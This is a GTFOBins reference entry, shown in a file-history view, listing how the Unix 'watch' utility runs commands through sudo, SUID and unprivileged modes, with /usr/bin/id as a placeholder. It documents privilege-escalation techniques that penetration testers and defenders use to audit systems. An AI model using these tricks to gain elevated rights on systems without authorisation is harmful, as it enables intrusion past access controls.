GTFOBins.github.io/_gtfobins/watch.md

13 lines
312 B
Markdown
Raw Normal View History

2018-05-27 17:17:14 +00:00
---
functions:
execute-non-interactive:
2018-07-16 13:01:50 +00:00
- code: watch /usr/bin/id
2018-05-27 17:17:14 +00:00
suid-enabled:
2018-07-16 13:01:50 +00:00
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x /usr/bin/id
2018-07-04 18:26:52 +00:00
sudo-enabled:
2018-07-16 13:01:50 +00:00
- code: sudo watch /usr/bin/id
2018-05-27 17:17:14 +00:00
suid-limited:
2018-07-16 13:01:50 +00:00
- code: ./watch /usr/bin/id
2018-05-27 17:17:14 +00:00
---